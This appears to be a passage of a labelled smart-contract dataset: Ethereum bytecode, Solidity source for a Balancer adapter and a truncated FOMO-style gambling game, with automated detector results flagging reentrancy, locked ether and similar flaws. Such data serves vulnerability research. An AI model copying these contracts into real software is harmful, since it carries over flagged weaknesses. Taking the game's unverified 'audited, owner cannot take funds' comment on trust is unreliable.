7f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610beb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610621565b6001600160a01b038216610c4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610621565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610621565b6001600160a01b038216610d735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610621565b60008111610dd55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610621565b6000546001600160a01b03848116911614801590610e0157506000546001600160a01b03838116911614155b156110e257601554600160a01b900460ff16610e9a576000546001600160a01b03848116911614610e9a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610621565b601654811115610eec5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610621565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2e57506001600160a01b03821660009081526010602052604090205460ff16155b610f865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610621565b6015546001600160a01b0383811691161461100b5760175481610fa8846107f4565b610fb29190611ca0565b1061100b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610621565b6000611016306107f4565b60185460165491925082101590821061102f5760165491505b8080156110465750601554600160a81b900460ff16155b801561106057506015546001600160a01b03868116911614155b80156110755750601554600160b01b900460ff165b801561109a57506001600160a01b03851660009081526005602052604090205460ff16155b80156110bf57506001600160a01b03841660009081526005602052604090205460ff16155b156110df576110cd826112e1565b4780156110dd576110dd47611223565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112457506001600160a01b03831660009081526005602052604090205460ff165b8061115657506015546001600160a01b0385811691161480159061115657506015546001600160a01b03848116911614155b15611163575060006111dd565b6015546001600160a01b03858116911614801561118e57506014546001600160a01b03848116911614155b156111a057600854600c55600954600d555b6015546001600160a01b0384811691161480156111cb57506014546001600160a01b03858116911614155b156111dd57600a54600c55600b54600d555b610a6a8484848461145b565b6000818484111561120d5760405162461bcd60e51b81526004016106219190611a14565b50600061121a8486611cb8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610692573d6000803e3d6000fd5b60006006548211156112c45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610621565b60006112ce611489565b90506112da83826114ac565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611c5b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190611ccf565b816001815181106113b9576113b9611c5b565b6001600160a01b0392831660209182029290920101526014546113df9130911684610b89565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611418908590600090869030904290600401611cec565b600060405180830381600087803b15801561143257600080fd5b505af1158015611446573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611468576114686114ee565b61147384848461151c565b80610a6a57610a6a600e54600c55600f54600d55565b6000806000611496611613565b90925090506114a582826114ac565b9250505090565b60006112da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611653565b600c541580156114fe5750600d54155b1561150557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061152e87611681565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156090876116de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461158f9086611720565b6001600160a01b0389166000908152600260205260409020556115b18161177f565b6115bb84836117c9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061162e82826114ac565b82101561164a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116745760405162461bcd60e51b81526004016106219190611a14565b50600061121a8486611d5d565b600080600080600080600080600061169e8a600c54600d546117ed565b92509250925060006116ae611489565b905060008060006116c18e878787611842565b919e509c509a509598509396509194505050505091939550919395565b60006112da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b60008061172d8385611ca0565b9050838110156112da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610621565b6000611789611489565b905060006117978383611892565b306000908152600260205260409020549091506117b49082611720565b30600090815260026020526040902055505050565b6006546117d690836116de565b6006556007546117e69082611720565b6007555050565b600080808061180760646118018989611892565b906114ac565b9050600061181a60646118018a89611892565b905060006118328261182c8b866116de565b906116de565b9992985090965090945050505050565b60008080806118518886611892565b9050600061185f8887611892565b9050600061186d8888611892565b9050600061187f8261182c86866116de565b939b939a50919850919650505050505050565b6000826000036118a4575060006106a7565b60006118b08385611d7f565b9050826118bd8583611d5d565b146112da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610621565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fd5b803561194a8161192a565b919050565b6000602080838503121561196257600080fd5b823567ffffffffffffffff8082111561197a57600080fd5b818501915085601f83011261198e57600080fd5b8135818111156119a0576119a0611914565b8060051b604051601f19603f830116810181811085821117156119c5576119c5611914565b6040529182528482019250838101850191888311156119e357600080fd5b938501935b82851015611a08576119f98561193f565b845293850193928501926119e8565b98975050505050505050565b600060208083528351808285015260005b81811015611a4157858101830151858201604001528201611a25565b81811115611a53576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7c57600080fd5b8235611a878161192a565b946020939093013593505050565b600080600060608486031215611aaa57600080fd5b8335611ab58161192a565b92506020840135611ac58161192a565b929592945050506040919091013590565b600060208284031215611ae857600080fd5b81356112da8161192a565b8035801515811461194a57600080fd5b600060208284031215611b1557600080fd5b6112da82611af3565b600060208284031215611b3057600080fd5b5035919050565b60008060008060808587031215611b4d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7e57600080fd5b833567ffffffffffffffff80821115611b9657600080fd5b818601915086601f830112611baa57600080fd5b813581811115611bb957600080fd5b8760208260051b8501011115611bce57600080fd5b602092830195509350611be49186019050611af3565b90509250925092565b60008060408385031215611c0057600080fd5b8235611c0b8161192a565b91506020830135611c1b8161192a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9957611c99611c71565b5060010190565b60008219821115611cb357611cb3611c71565b500190565b600082821015611cca57611cca611c71565b500390565b600060208284031215611ce157600080fd5b81516112da8161192a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3c5784516001600160a01b031683529383019391830191600101611d17565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9957611d99611c71565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ffa1ad652bead78d6041326ab2e08f52eaa8a827ea585562bd6f62d96bf433b364736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,854 |
0x17e7542824be3648fcd06b759de53fee3c3d3f78 | pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
struct FullAbsoluteTokenAmount {
AbsoluteTokenAmountMeta base;
AbsoluteTokenAmountMeta[] underlying;
}
struct AbsoluteTokenAmountMeta {
AbsoluteTokenAmount absoluteTokenAmount;
ERC20Metadata erc20metadata;
}
struct ERC20Metadata {
string name;
string symbol;
uint8 decimals;
}
struct AdapterBalance {
bytes32 protocolAdapterName;
AbsoluteTokenAmount[] absoluteTokenAmounts;
}
struct AbsoluteTokenAmount {
address token;
uint256 amount;
}
struct Component {
address token;
uint256 rate;
}
struct TransactionData {
Action[] actions;
TokenAmount[] inputs;
Fee fee;
AbsoluteTokenAmount[] requiredOutputs;
uint256 nonce;
}
struct Action {
bytes32 protocolAdapterName;
ActionType actionType;
TokenAmount[] tokenAmounts;
bytes data;
}
struct TokenAmount {
address token;
uint256 amount;
AmountType amountType;
}
struct Fee {
uint256 share;
address beneficiary;
}
enum ActionType { None, Deposit, Withdraw }
enum AmountType { None, Relative, Absolute }
abstract contract ProtocolAdapter {
/**
* @dev MUST return amount and type of the given token
* locked on the protocol by the given account.
*/
function getBalance(
address token,
address account
)
public
view
virtual
returns (uint256);
}
abstract contract InteractiveAdapter is ProtocolAdapter {
uint256 internal constant DELIMITER = 1e18;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev The function must deposit assets to the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function deposit(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
virtual
returns (address[] memory);
/**
* @dev The function must withdraw assets from the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function withdraw(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
virtual
returns (address[] memory);
function getAbsoluteAmountDeposit(
TokenAmount calldata tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance;
if (token == ETH) {
balance = address(this).balance;
} else {
balance = ERC20(token).balanceOf(address(this));
}
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function getAbsoluteAmountWithdraw(
TokenAmount calldata tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance = getBalance(token, address(this));
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "IA: mul overflow");
return c;
}
}
interface BPool {
function getCurrentTokens() external view returns (address[] memory);
function getBalance(address) external view returns (uint256);
function getNormalizedWeight(address) external view returns (uint256);
function joinswapExternAmountIn(address, uint256, uint256) external;
function exitswapPoolAmountIn(address, uint256, uint256) external;
}
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}
library SafeERC20 {
function safeTransfer(
ERC20 token,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transfer.selector,
to,
value
),
"transfer",
location
);
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transferFrom.selector,
from,
to,
value
),
"transferFrom",
location
);
}
function safeApprove(
ERC20 token,
address spender,
uint256 value,
string memory location
)
internal
{
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: bad approve call"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
value
),
"approve",
location
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract),
* relaxing the requirement on the return value: the return value is optional
* (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
* @param location Location of the call (for debug).
*/
function callOptionalReturn(
ERC20 token,
bytes memory data,
string memory functionName,
string memory location
)
private
{
// We need to perform a low level call here, to bypass Solidity's return data size checking
// mechanism, since we're implementing it ourselves.
// We implement two-steps call as callee is a contract is a responsibility of a caller.
// 1. The call itself is made, and success asserted
// 2. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(
success,
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" failed in ",
location
)
)
);
if (returndata.length > 0) { // Return data is optional
require(
abi.decode(returndata, (bool)),
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" returned false in ",
location
)
)
);
}
}
}
contract ERC20ProtocolAdapter is ProtocolAdapter {
/**
* @return Amount of tokens held by the given account.
* @dev Implementation of ProtocolAdapter abstract contract function.
*/
function getBalance(
address token,
address account
)
public
view
override
returns (uint256)
{
return ERC20(token).balanceOf(account);
}
}
contract BalancerInteractiveAdapter is InteractiveAdapter, ERC20ProtocolAdapter {
using SafeERC20 for ERC20;
/**
* @notice Deposits tokens to the Balancer pool.
* @param tokenAmounts Array with one element - TokenAmount struct with
* token address, token amount to be deposited, and amount type.
* @param data ABI-encoded additional parameters:
* - poolAddress - pool address.
* @return tokensToBeWithdrawn Array with one element - pool address.
* @dev Implementation of InteractiveAdapter function.
*/
function deposit(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "BIA: should be 1 tokenAmount[1]");
address poolAddress = abi.decode(data, (address));
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = poolAddress;
address token = tokenAmounts[0].token;
uint256 amount = getAbsoluteAmountDeposit(tokenAmounts[0]);
ERC20(token).safeApprove(poolAddress, amount, "BIA");
try BPool(poolAddress).joinswapExternAmountIn(
token,
amount,
0
) {} catch Error(string memory reason) { // solhint-disable-line no-empty-blocks
revert(reason);
} catch {
revert("BIA: deposit fail");
}
}
/**
* @notice Withdraws tokens from the Balancer pool.
* @param tokenAmounts Array with one element - TokenAmount struct with
* Balancer token address, Balancer token amount to be redeemed, and amount type.
* @param data ABI-encoded additional parameters:
* - toTokenAddress - destination token address.
* @return tokensToBeWithdrawn Array with one element - destination token address.
* @dev Implementation of InteractiveAdapter function.
*/
function withdraw(
TokenAmount[] calldata tokenAmounts,
bytes calldata data
)
external
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "BIA: should be 1 tokenAmount[2]");
address toTokenAddress = abi.decode(data, (address));
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = toTokenAddress;
address token = tokenAmounts[0].token;
uint256 amount = getAbsoluteAmountWithdraw(tokenAmounts[0]);
try BPool(token).exitswapPoolAmountIn(
toTokenAddress,
amount,
0
) {} catch Error(string memory reason) { // solhint-disable-line no-empty-blocks
revert(reason);
} catch {
revert("BIA: withdraw fail");
}
}
}
| 0x6080604052600436106100345760003560e01c806328ffb83d14610039578063387b817414610062578063d4fac45d14610075575b600080fd5b61004c610047366004610c09565b6100a2565b6040516100599190610ed6565b60405180910390f35b61004c610070366004610c09565b610311565b34801561008157600080fd5b50610095610090366004610bd1565b6104d2565b6040516100599190611139565b6060600184146100e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fb8565b60405180910390fd5b60006100f583850185610bb5565b60408051600180825281830190925291925060208083019080368337019050509150808260008151811061012557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008686600081811061016e57fe5b6101849260206060909202019081019150610bb5565b905060006101a38888600081811061019857fe5b905060600201610580565b905061020783826040518060400160405280600381526020017f42494100000000000000000000000000000000000000000000000000000000008152508573ffffffffffffffffffffffffffffffffffffffff1661078c909392919063ffffffff16565b6040517f5db3427700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841690635db342779061025e9085908590600090600401610ea8565b600060405180830381600087803b15801561027857600080fd5b505af1925050508015610289575060015b61030657610295611174565b806102a057506102d4565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610f30565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9061105d565b505050949350505050565b60606001841461034d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611094565b600061035b83850185610bb5565b60408051600180825281830190925291925060208083019080368337019050509150808260008151811061038b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000868660008181106103d457fe5b6103ea9260206060909202019081019150610bb5565b90506000610409888860008181106103fe57fe5b90506060020161092e565b6040517f46ab38f100000000000000000000000000000000000000000000000000000000815290915073ffffffffffffffffffffffffffffffffffffffff8316906346ab38f1906104639086908590600090600401610ea8565b600060405180830381600087803b15801561047d57600080fd5b505af192505050801561048e575060015b6103065761049a611174565b806102a057506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611026565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff8416906370a0823190610527908590600401610e3a565b60206040518083038186803b15801561053f57600080fd5b505afa158015610553573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105779190610d04565b90505b92915050565b6000806105906020840184610bb5565b9050602083013560006105a96060860160408701610ce5565b905060018160028111156105b957fe5b14806105d0575060028160028111156105ce57fe5b145b610606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f81565b600181600281111561061457fe5b141561077d57670de0b6b3a764000082111561065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fef565b600073ffffffffffffffffffffffffffffffffffffffff841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561069757504761073c565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906370a08231906106e9903090600401610e3a565b60206040518083038186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107399190610d04565b90505b670de0b6b3a764000083141561075757935061078792505050565b670de0b6b3a764000061076a8285610a16565b8161077157fe5b04945050505050610787565b5091506107879050565b919050565b81158061083a57506040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e906107e89030908790600401610e5b565b60206040518083038186803b15801561080057600080fd5b505afa158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190610d04565b155b610870576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611102565b6109288463095ea7b360e01b858560405160240161088f929190610e82565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060400160405280600781526020017f617070726f76650000000000000000000000000000000000000000000000000081525084610a6a565b50505050565b60008061093e6020840184610bb5565b9050602083013560006109576060860160408701610ce5565b9050600181600281111561096757fe5b148061097e5750600281600281111561097c57fe5b145b6109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610f81565b60018160028111156109c257fe5b141561077d57670de0b6b3a7640000821115610a0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fef565b600061073984306104d2565b600082610a255750600061057a565b82820282848281610a3257fe5b0414610577576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de906110cb565b600060608573ffffffffffffffffffffffffffffffffffffffff1685604051610a939190610d1c565b6000604051808303816000865af19150503d8060008114610ad0576040519150601f19603f3d011682016040523d82523d6000602084013e610ad5565b606091505b5091509150818484604051602001610aee929190610db9565b60405160208183030381529060405290610b35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610f30565b50805115610bad5780806020019051810190610b519190610cc5565b8484604051602001610b64929190610d38565b60405160208183030381529060405290610bab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610f30565b505b505050505050565b600060208284031215610bc6578081fd5b813561057781611256565b60008060408385031215610be3578081fd5b8235610bee81611256565b91506020830135610bfe81611256565b809150509250929050565b60008060008060408587031215610c1e578182fd5b843567ffffffffffffffff80821115610c35578384fd5b818701915087601f830112610c48578384fd5b813581811115610c56578485fd5b886020606083028501011115610c6a578485fd5b602092830196509450908601359080821115610c84578384fd5b818701915087601f830112610c97578384fd5b813581811115610ca5578485fd5b886020828501011115610cb6578485fd5b95989497505060200194505050565b600060208284031215610cd6578081fd5b81518015158114610577578182fd5b600060208284031215610cf6578081fd5b813560038110610577578182fd5b600060208284031215610d15578081fd5b5051919050565b60008251610d2e818460208701611142565b9190910192915050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610d7081600b850160208801611142565b7f2072657475726e65642066616c736520696e2000000000000000000000000000600b918401918201528351610dad81601e840160208801611142565b01601e01949350505050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610df181600b850160208801611142565b7f206661696c656420696e20000000000000000000000000000000000000000000600b918401918201528351610e2e816016840160208801611142565b01601601949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9390931683526020830191909152604082015260600190565b6020808252825182820181905260009190848201906040850190845b81811015610f2457835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101610ef2565b50909695505050505050565b6000602082528251806020840152610f4f816040850160208701611142565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526013908201527f49413a2062616420616d6f756e74207479706500000000000000000000000000604082015260600190565b6020808252601f908201527f4249413a2073686f756c64206265203120746f6b656e416d6f756e745b315d00604082015260600190565b6020808252600e908201527f49413a2062616420616d6f756e74000000000000000000000000000000000000604082015260600190565b60208082526012908201527f4249413a207769746864726177206661696c0000000000000000000000000000604082015260600190565b60208082526011908201527f4249413a206465706f736974206661696c000000000000000000000000000000604082015260600190565b6020808252601f908201527f4249413a2073686f756c64206265203120746f6b656e416d6f756e745b325d00604082015260600190565b60208082526010908201527f49413a206d756c206f766572666c6f7700000000000000000000000000000000604082015260600190565b6020808252601b908201527f5361666545524332303a2062616420617070726f76652063616c6c0000000000604082015260600190565b90815260200190565b60005b8381101561115d578181015183820152602001611145565b838111156109285750506000910152565b60e01c90565b600060443d101561118457611253565b600481823e6308c379a0611198825161116e565b146111a257611253565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff81602484011181841117156111f05750505050611253565b8284019250825191508082111561120a5750505050611253565b503d8301602082840101111561122257505050611253565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01681016020016040529150505b90565b73ffffffffffffffffffffffffffffffffffffffff8116811461127857600080fd5b5056fea2646970667358221220c5f33319cf7a2fd6c1d6235b696e2cd080e9efddd9416876380aa13f63999cc464736f6c63430007010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,855 |
0xd0063fa52dc63dca7523d8bcf02b8ef54633937e | pragma solidity ^0.4.24;
/**
*
*
* ,------. ,-----. ,--. ,--. ,-----. ,--. ,--.,--. ,--. ,--.
* | .---'' .-. '| `.' |' .-. ' | | | |`--',--,--, ,--,--, ,---. ,--.--. | `.' | ,--,--.,--.--. ,---.
* | `--, | | | || |'.'| || | | | | |.'.| |,--.| \| \| .-. :| .--' | |'.'| |' ,-. || .--'( .-'
* | |` ' '-' '| | | |' '-' ' | ,'. || || || || || |\ --.| | | | | |\ '-' || | .-' `)
* `--' `-----' `--' `--' `-----' '--' '--'`--'`--''--'`--''--' `----'`--' `--' `--' `--`--'`--' `----'
*
*
* 源码不是原创,但是经过了本人审核,不存在资金被超级管理员转走的可能性
* master#fomowinner.com
*/
// 飞向火星事件
contract FlyToTheMarsEvents {
// 第一阶段购买key事件
event onFirStage
(
address indexed player,
uint256 indexed rndNo,
uint256 keys,
uint256 eth,
uint256 timeStamp
);
// 第二阶段成为赢家事件
event onSecStage
(
address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp
);
// 玩家提现事件
event onWithdraw
(
address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp
);
// 获奖事件
event onAward
(
address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp
);
}
// 飞向火星主合约
contract FlyToTheMars is FlyToTheMarsEvents {
using SafeMath for *; // 导入数学函数
using KeysCalc for uint256; // 导入key计算
//每轮游戏的数据结构
struct Round {
uint256 eth; // eth总量
uint256 keys; // key总量
uint256 startTime; // 开始时间
uint256 endTime; // 结束时间
address leader; // 赢家
uint256 lastPrice; // 第二阶段的最近出价
bool award; // 已经结束
}
//玩家数据结构
struct PlayerRound {
uint256 eth; // 玩家已经花了多少eth
uint256 keys; // 玩家买到的key数量
uint256 withdraw; // 玩家已经提现的数量
}
uint256 public rndNo = 1; // 当前游戏的轮数
uint256 public totalEth = 0; // eth总量
uint256 constant private rndFirStage_ = 12 hours; // 第一轮倒计时长
uint256 constant private rndSecStage_ = 12 hours; // 第二轮倒计时长
mapping(uint256 => Round) public round_m; // (rndNo => Round) 游戏存储机构
mapping(uint256 => mapping(address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound) 玩家存储结构
address public owner; // 创建者地址
uint256 public ownerWithdraw = 0; // 创建者提走了多少eth
//构造函数
constructor()
public
{
//发布合约设定第一轮游戏开始
round_m[1].startTime = now;
round_m[1].endTime = now + rndFirStage_;
//所有人就是发布合约的人
owner = msg.sender;
}
/**
* 防止其他合约调用
*/
modifier onlyHuman()
{
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* 设置eth转入的边界
*/
modifier isWithinLimits(uint256 _eth)
{
require(_eth >= 1000000000, "pocket lint: not a valid currency"); //最小8位小数金额
require(_eth <= 100000000000000000000000, "no vitalik, no"); //最大10万eth
_;
}
/**
* 只有创建者能调用
*/
modifier onlyOwner()
{
require(owner == msg.sender, "only owner can do it");
_;
}
/**
* 匿名函数
* 自动接受汇款,实现购买key
*/
function()
onlyHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _eth = msg.value; //用户转入的eth量
uint256 _now = now; //现在时间
uint256 _rndNo = rndNo; //当前游戏轮数
uint256 _ethUse = msg.value; //用户可用来买key的eth数量
// 是否要开启下一局
if (_now > round_m[_rndNo].endTime)
{
_rndNo = _rndNo.add(1); //开启新的一轮
rndNo = _rndNo;
round_m[_rndNo].startTime = _now;
round_m[_rndNo].endTime = _now + rndFirStage_;
}
// 判断是否在第一阶段,从后面逻辑来看key不会超卖的
if (round_m[_rndNo].keys < 10000000000000000000000000)
{
// 计算汇入的eth能买多少key
uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth);
// key总量 10,000,000, 超过则进入下一个阶段
if (_keys.add(round_m[_rndNo].keys) >= 10000000000000000000000000)
{
// 重新计算剩余key的总量
_keys = (10000000000000000000000000).sub(round_m[_rndNo].keys);
// 如果游戏第一阶段达到8562.5个eth那么就不能再买key了
if (round_m[_rndNo].eth >= 8562500000000000000000)
{
_ethUse = 0;
} else {
_ethUse = (8562500000000000000000).sub(round_m[_rndNo].eth);
}
// 如果汇入的金额大于可以买的金额则退掉多余的部分
if (_eth > _ethUse)
{
// 退款
msg.sender.transfer(_eth.sub(_ethUse));
} else {
// fix
_ethUse = _eth;
}
}
// 至少要买1个key才会触发游戏规则,少于一个key不会成为赢家
if (_keys >= 1000000000000000000)
{
round_m[_rndNo].endTime = _now + rndFirStage_;
round_m[_rndNo].leader = msg.sender;
}
// 修改玩家数据
playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys);
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// 修改这轮数据
round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys);
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// 修改全局eth总量
totalEth = _ethUse.add(totalEth);
// 触发第一阶段成为赢家事件
emit FlyToTheMarsEvents.onFirStage
(
msg.sender,
_rndNo,
_keys,
_ethUse,
_now
);
} else {
// 第二阶段已经没有key了
// lastPrice + 0.1Ether <= newPrice <= lastPrice + 10Ether
